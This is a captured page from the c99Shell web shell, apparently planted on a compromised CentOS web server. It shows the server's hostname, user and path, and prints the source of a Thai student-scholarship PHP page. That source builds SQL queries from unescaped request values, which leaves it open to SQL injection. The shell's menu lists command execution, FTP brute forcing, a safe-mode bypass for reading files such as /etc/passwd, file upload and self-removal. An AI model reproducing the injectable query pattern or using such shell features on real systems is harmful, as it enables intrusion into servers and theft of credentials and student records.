!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Std_Acc_depart/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Std_Scho.php (11.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$sql1 "Select * From student_tb Where Student_id='$Student_id'";
$result1 mysql_query($sql1) or die(" Error".mysql_error());
$rs mysql_fetch_array($result1);
$sql "Select * From std_scholarship_tb Where Student_id='$Student_id'";
$result mysql_query($sql) or die(" Error".mysql_error());
$num mysql_num_rows($result);
?> 
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="835" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="835" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="StudentList.php?Student_id=<? echo $rs[Student_id];?>">ข้อมูลนักศึกษา</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_std.php?Student_id=<? echo $rs[Student_id];?>">ข้อมูลประวัตินักศึกษา</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AddScho.php?Student_id=<? echo $rs[Student_id];?>">เพิ่มข้อมูลทุนนักศึกษา</a></font>            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditSchoList.php?Student_id=<? echo $rs[Student_id];?>">แก้ไขข้อมูลทุนนักศึกษา</a></font>
            <label>
</legend>
            <form id="form1" name="form1" method="post" action="EditStudent.php">
    <table width="89%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr>
      <tr bgcolor="#DDF3DC">
        <td colspan="2"><div align="center"><font color="#000000" size="4" face="Tahoma"><strong>ข้อมูลทุนการศึกษา</strong></font></div></td>
      </tr>
      <tr>
        <td width="76%"><table width="100%" border="0" cellpadding="0" cellspacing="1" bordercolor="#999999">
            <tr bgcolor="#FFFFFF">
              <td width="28%" bgcolor="#FFFEF4"><div align="center"><font color="#000000" size="2" face="Tahoma">รหัส</font></div></td>
              <td width="72%" bgcolor="#FBF5E3"><strong><font color="#003300" size="2" face="Tahoma">
                <?=$rs["Student_id"]?>
              </font></strong></td>
            </tr>
            <tr bgcolor="#FFFFFF">
              <td bgcolor="#FFFEF4"><div align="center"><font color="#000000" size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
              <td bgcolor="#FFFEF4"><font color="#003300" size="2" face="Tahoma">
                <?=$rs["First_name"]?>
                <?=$rs["Name"]?>
                <?=$rs["Lastname"]?>
              </font></td>
            </tr>
            <tr bgcolor="#FFFFFF">
              <td bgcolor="#FFFEF4"><div align="center"><font color="#000000" size="2" face="Tahoma">หลักสูตร</font></div></td>
              <td bgcolor="#FBF5E3"><font color="#003300" size="2" face="Tahoma">
                <?php
               $Course_code 
=  $rs["Course_code"];
               
$sql2"Select * From course_tb Where Course_code='$Course_code'";
               
$result2 mysql_query($sql2) or die("Error Select".mysql_query());
               
$rs2 mysql_fetch_array($result2);
               echo
"$rs2[Course_name]";
               
?>
                รุ่น </font><font color="#990099" size="2" face="Tahoma">
                  <?=$rs["Class"]?>
                </font></td>
            </tr>
            <tr bgcolor="#FFFFFF">
              <td bgcolor="#FFFEF4"><div align="center"><font color="#000000" size="2" face="Tahoma">อาย</font><font color="#000000">ุ</font></div></td>
              <td bgcolor="#FFFEF4"><font color="#003366" size="2" face="Tahoma">
                <?php //// Show Age
      
$age =  $rs[DateBirth];
      
$year =  explode("-",$age);
      
$year =   intval($year[0]);    
      
$year $year 543;
      
$currentyear date("Y");
    
//  $currentyear =   intval($currentyear[0]);          
      
$age $currentyear $year ;
      echo
"$age";
      
?>
              </font><font color="#000000" size="2" face="Tahoma">ปี</font></td>
            </tr>
            <tr bgcolor="#FFFFFF">
              <td bgcolor="#FFFEF4"><font color="#000000">&nbsp;</font></td>
              <td bgcolor="#FBF5E3"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#000000" size="2" face="Tahoma">&nbsp; </font></td>
            </tr>
            <tr bgcolor="#FFFFFF">
              <td height="20" bgcolor="#FFFEF4">&nbsp;</td>
              <td bgcolor="#FFFEF4">&nbsp;</td>
            </tr>
        </table></td>
        <td width="24%" colspan="-2" bgcolor="#FBF5E3"><div align="center">
            <?php
        
echo"<center>";
        echo
"<img src=\"../$rs[Img1]\" width=\"100\" height=\"110\" >";
        echo
"</center>";
       
?>
        </div></td>
      </tr>
      <tr>
        <td colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" >
            <tr bgcolor="#EFF9EE" >
              <td colspan="4"><div align="center"><font color="#000000" size="4" face="Tahoma"><strong>รายการบันทึก</strong><font size="4" face="Tahoma"><strong>ข้อมูลทุนการศึกษา</strong></font></font></div></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td width="37" align="center" style="border:1px solid gray"><font color="#003366" size="1" face="Tahoma"><strong>No.</strong></font></td>
              <td width="106" align="center" bgcolor="#EEEEEE" style="border:1px solid gray"><font size="2" face="Tahoma"><strong>วันที่รับทุน</strong></font></td>
              <td width="346" align="center" bgcolor="#EEEEEE" style="border:1px solid gray"><strong><font size="2" face="Tahoma">ชื่อทุนการศึกษา</font></strong></td>
              <td width="492" align="center" bgcolor="#EEEEEE" style="border:1px solid gray"><strong><font size="2" face="Tahoma">การพิจารณา</font></strong><font color="#000000" size="2" face="Tahoma">&nbsp;</font></td>
            </tr>
            <?
$i 
1;
 while(
$row mysql_fetch_array($result))
 {

     if(
$count==0)
     {
?>
            <tr bordercolor="#EEEEEE" bgcolor="#FFFFFF" >
              <td align="center" bgcolor="#F7F7F7" ><font color="#003366" size="2" face="Tahoma">
                <?=$i?>
              </font></td>
              <td align="center" bgcolor="#F7F7F7" ><font color="#006633" size="2" face="Tahoma">&nbsp; </font><font color="#003366" size="2" face="Tahoma">
                <?php 
       $dday 
$row[Date_rec];
    
$yearthai explode("-",$dday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
              </font><font color="#006633" size="2" face="Tahoma">&nbsp; </font></td>
              <td align="center" bgcolor="#F7F7F7" ><div align="left"><font color="#003399" size="2" face="Tahoma"> <a href="SchoDetail.php?Student_id=<? echo $row[Student_id]?>" class="d">
                  <?
                  $Scholarship_code 
$row[Scholarship_code];
                  
$strSQL "SELECT * FROM scholarship_tb Where Scholarship_code='$Scholarship_code' ";
                   
$result1 mysql_query($strSQL) or die("Error".mysql_error());
                  
$rss mysql_fetch_array($result1);
                  echo
"$rss[Scholarship_name]";
              
?>
              </a></font></div></td>
              <td align="center" bgcolor="#F7F7F7" ><div align="left"><font color="#993333" size="2" face="Tahoma">
                  <?=$row["Consider"]?>
                </font></div>
                  <div align="left"><font color="#990099" size="2" face="Tahoma"> <a href="../Student/menu_std.php?Student_id=<?=$row["Student_id"]?>" title="Click to see Detail"  class="d"> </a> </font></div>
                <div align="left"><font color="#000000" size="2" face="Tahoma"> <a href="HealthDetail.php?code=<? echo $row[code]?>" class="black" > </a> </font> </div></td>
            </tr>
            <?
    $count
=1;
     }
else
{
?>
            <tr bordercolor="#EEEEEE" bgcolor="#FFFFFF">
              <td align="center" ><font color="#003366" size="2" face="Tahoma">
                <?=$i?>
              </font></td>
              <td align="center" bgcolor="#FFFFFF" ><font color="#006633" size="2" face="Tahoma">&nbsp; </font><font color="#003366" size="2" face="Tahoma">
                <?php 
       $dday 
$row[Date_rec];
    
$yearthai explode("-",$dday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
              </font><font color="#006633" size="2" face="Tahoma">&nbsp; </font></td>
              <td align="center" bgcolor="#FFFFFF" ><div align="left"><font color="#003399" size="2" face="Tahoma"> <a href="SchoDetail.php?Student_id=<? echo $row[Student_id]?>" class="d">
                  <?
                  $Scholarship_code 
$row[Scholarship_code];
                  
$strSQL "SELECT * FROM scholarship_tb Where Scholarship_code='$Scholarship_code' ";
                   
$result1 mysql_query($strSQL) or die("Error".mysql_error());
                  
$rss mysql_fetch_array($result1);
                  echo
"$rss[Scholarship_name]";
              
?>
              </a> </font></div></td>
              <td align="center" bgcolor="#FFFFFF" ><div align="left"><font color="#993333" size="2" face="Tahoma">
                <?=$row["Consider"]?>
              </font></div>
                  <div align="left"><font color="#990099" size="2" face="Tahoma"> <a href="../Student/menu_std.php?Student_id=<?=$row["Student_id"]?>" title="Click to see Detail"  class="d"> </a> </font></div>
                <div align="left"><font color="#000000" size="2" face="Tahoma"> </font>
                      <div align="left"><font color="#000000" size="2" face="Tahoma"> <a href="HealthDetail.php?code=<? echo $row[code]?>" class="black" > </a></font></div>
                </div></td>
            </tr>
            <?
$count
=0;
}
$i++;
 }    
CloseDB();
?>
            <tr bgcolor="#EFF9EE">
              <td colspan="4" align="center"><div align="center"><font color="#003366" size="2" face="Tahoma">ทั้งหมด</font><font color="#FF0000" size="2" face="Tahoma"> <strong><? echo $num ?> </strong></font><font color="#003366" size="2" face="Tahoma">รายการ</font></div></td>
            </tr>
        </table></td>
      </tr>
      <tr bgcolor="#DDF3DC">
        <td colspan="2">&nbsp;</td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0202 ]--